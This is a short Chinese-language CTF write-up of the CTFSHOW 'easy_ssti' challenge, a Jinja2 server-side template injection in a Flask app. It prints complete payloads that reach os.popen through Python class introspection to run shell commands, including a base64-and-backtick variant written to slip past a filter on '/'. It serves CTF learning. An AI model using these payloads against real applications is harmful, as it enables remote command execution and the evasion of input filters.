CTFSHOW愚人杯easy_ssti

​ 本文记录自己的第一次SSTI成功案例。(很菜,轻喷😭)

打开靶机后没有看到有用的提示,看一下源码。

发现有一个压缩包,下载下来看看。

是flask的模板,分析一下源码应该就是在/hello目录下有SSTI注入的漏洞。

进入hello目录下并照常走一下判断流程,发现应该是jinja2的模板。

放张老图

找一下object

再看看有什么类能用的

这边参考了一位大佬的博客

找catch_warnings,因为catch_warning是function具有__globals__

然后再通过__globals__里的builtins的__import__来getshell

os库中可以调用popen函数执行命令,再read读取到页面上。

在页面上查catch_warning的位置,再查class的位置就能大概查到是第几个类了。

用ls查了一下当前目录,app.py 里也没啥有用信息,和压缩包里是一样的。

接下来看看templates

发现也是没什么东西。

那就直接根目录查flag吧。

{{''.__class__.__bases__[0].__subclasses__()[213].__init__.__globals__['__builtins__']['__import__']('os').popen('cat /f*').read()}}

发现not found了

猜测了一下,应该是将语句中的”/“当成目录了。

那就试试base64+管道符绕过

“cat /f*”==”Y2F0IC9mKg==”

{{''.__class__.__bases__[0].__subclasses__()[213].__init__.__globals__['__builtins__']['__import__']('os').popen('`echo Y2F0IC9mKg== | base64 -d`').read()}}

成功拿到flag。

注意要包一层反引号(命令执行),不然会被当做字符串echo出来。

另外这道题刚开始的源码那块对”f”和”ge”进行了处理,我不知道在其他思路里会不会卡住,我试了下可以在语句的最后直接加上”ge”绕过。


CTFSHOW愚人杯easy_ssti
http://example.com/2023/04/02/problem1/
作者
Ec0y
发布于
2023年4月2日
许可协议